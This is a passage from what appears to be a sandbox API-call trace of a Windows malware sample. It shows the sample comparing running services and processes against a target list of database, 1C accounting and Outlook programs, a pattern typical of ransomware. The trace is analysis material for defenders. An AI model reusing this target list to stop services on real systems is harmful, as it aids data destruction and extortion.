(lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0231.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0231.923] lstrlenW (lpString="MMCSS") returned 5 [0231.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0231.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0231.923] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0231.923] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0231.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0231.923] lstrlenW (lpString="MpsSvc") returned 6 [0231.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0231.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0231.923] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0231.924] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0231.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0231.924] lstrlenW (lpString="NlaSvc") returned 6 [0231.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0231.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0231.924] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0231.924] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0231.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0231.924] lstrlenW (lpString="nsi") returned 3 [0231.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0231.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0231.924] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0231.924] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0231.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0231.924] lstrlenW (lpString="PcaSvc") returned 6 [0231.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0231.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0231.925] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0231.925] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0231.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0231.925] lstrlenW (lpString="PlugPlay") returned 8 [0231.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0231.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0231.925] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0231.925] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0231.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0231.925] lstrlenW (lpString="Power") returned 5 [0231.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0231.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0231.925] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0231.925] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0231.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0231.926] lstrlenW (lpString="ProfSvc") returned 7 [0231.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0231.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0231.926] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0231.926] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0231.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0231.926] lstrlenW (lpString="RpcEptMapper") returned 12 [0231.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0231.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0231.926] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0231.926] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0231.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0231.926] lstrlenW (lpString="RpcSs") returned 5 [0231.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0231.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0231.927] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0231.927] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0231.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0231.927] lstrlenW (lpString="SamSs") returned 5 [0231.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0231.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0231.927] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0231.927] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0231.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0231.927] lstrlenW (lpString="Schedule") returned 8 [0231.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0231.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0231.928] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0231.928] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0231.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0231.928] lstrlenW (lpString="SENS") returned 4 [0231.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0231.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0231.928] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0231.928] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0231.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0231.928] lstrlenW (lpString="ShellHWDetection") returned 16 [0231.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0231.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0231.929] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0231.929] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0231.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0231.929] lstrlenW (lpString="Spooler") returned 7 [0231.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0231.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0231.929] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0231.929] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0231.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0231.929] lstrlenW (lpString="Themes") returned 6 [0231.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0231.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0231.930] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0231.930] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0231.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0231.930] lstrlenW (lpString="UxSms") returned 5 [0231.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0231.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0231.930] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0231.930] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0231.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0231.930] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x432a868 | out: hHeap=0x590000) returned 1 [0231.930] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x37c [0231.936] Process32FirstW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0231.937] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0231.938] lstrlenW (lpString="System") returned 6 [0231.938] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0231.938] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0231.938] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0231.938] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0231.938] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0231.938] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0231.938] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0231.938] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0231.939] lstrlenW (lpString="smss.exe") returned 8 [0231.939] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0231.939] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0231.939] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0231.939] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0231.940] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0231.940] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0231.940] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0231.940] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0231.941] lstrlenW (lpString="csrss.exe") returned 9 [0231.941] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0231.941] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0231.941] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0231.941] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0231.941] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0231.941] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0231.941] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0231.941] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0231.942] lstrlenW (lpString="wininit.exe") returned 11 [0231.942] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0231.942] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0231.942] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0231.943] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0231.943] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0231.943] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0231.943] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0231.943] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0231.944] lstrlenW (lpString="csrss.exe") returned 9 [0231.944] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0231.944] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0231.944] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0231.944] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0231.944] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0231.944] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0231.944] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0231.944] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0231.945] lstrlenW (lpString="winlogon.exe") returned 12 [0231.945] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0231.945] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0231.945] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0231.945] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0231.945] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0231.945] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0231.946] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0231.946] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0231.946] lstrlenW (lpString="services.exe") returned 12 [0231.947] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0231.947] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0231.947] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0231.947] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0231.947] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0231.947] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0231.947] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0231.947] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0231.948] lstrlenW (lpString="lsass.exe") returned 9 [0231.948] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0231.948] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0231.948] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0231.948] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0231.948] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0231.949] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0231.949] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0231.949] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0231.950] lstrlenW (lpString="lsm.exe") returned 7 [0231.950] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0231.950] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0231.950] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0231.950] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0231.978] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0231.978] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0231.979] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0231.979] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.979] lstrlenW (lpString="svchost.exe") returned 11 [0231.980] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0231.980] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0231.980] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0231.980] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0231.980] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0231.980] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0231.980] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0231.980] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.981] lstrlenW (lpString="svchost.exe") returned 11 [0231.981] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0231.981] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0231.981] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0231.981] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0231.982] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0231.982] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0231.982] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0231.982] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.983] lstrlenW (lpString="svchost.exe") returned 11 [0231.984] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0231.984] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0231.984] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0231.984] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0231.984] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0231.984] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0231.984] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0231.984] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.985] lstrlenW (lpString="svchost.exe") returned 11 [0231.985] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0231.985] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0231.985] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0231.985] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0231.985] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0231.985] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0231.986] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0231.986] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.987] lstrlenW (lpString="svchost.exe") returned 11 [0231.987] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0231.987] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0231.987] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0231.987] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0231.988] lstrlenW (lpString="audiodg.exe") returned 11 [0231.988] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.989] lstrlenW (lpString="svchost.exe") returned 11 [0231.989] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0231.990] lstrlenW (lpString="userinit.exe") returned 12 [0231.990] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0231.991] lstrlenW (lpString="explorer.exe") returned 12 [0231.991] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0231.992] lstrlenW (lpString="dwm.exe") returned 7 [0231.992] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.993] lstrlenW (lpString="svchost.exe") returned 11 [0231.994] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0231.995] lstrlenW (lpString="winhost.exe") returned 11 [0231.995] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0231.995] lstrlenW (lpString="spoolsv.exe") returned 11 [0231.996] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0231.996] lstrlenW (lpString="dllhost.exe") returned 11 [0231.996] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.998] lstrlenW (lpString="svchost.exe") returned 11 [0231.998] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0231.999] lstrlenW (lpString="taskhost.exe") returned 12 [0231.999] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0232.000] lstrlenW (lpString="reader_sl.exe") returned 13 [0232.001] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0232.001] CloseHandle (hObject=0x37c) returned 1 [0232.002] Sleep (dwMilliseconds=0x1f4) [0232.604] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x62e450 [0232.637] EnumServicesStatusExW (in: hSCManager=0x62e450, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0232.638] GetLastError () returned 0xea [0232.638] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc9a) returned 0x432a868 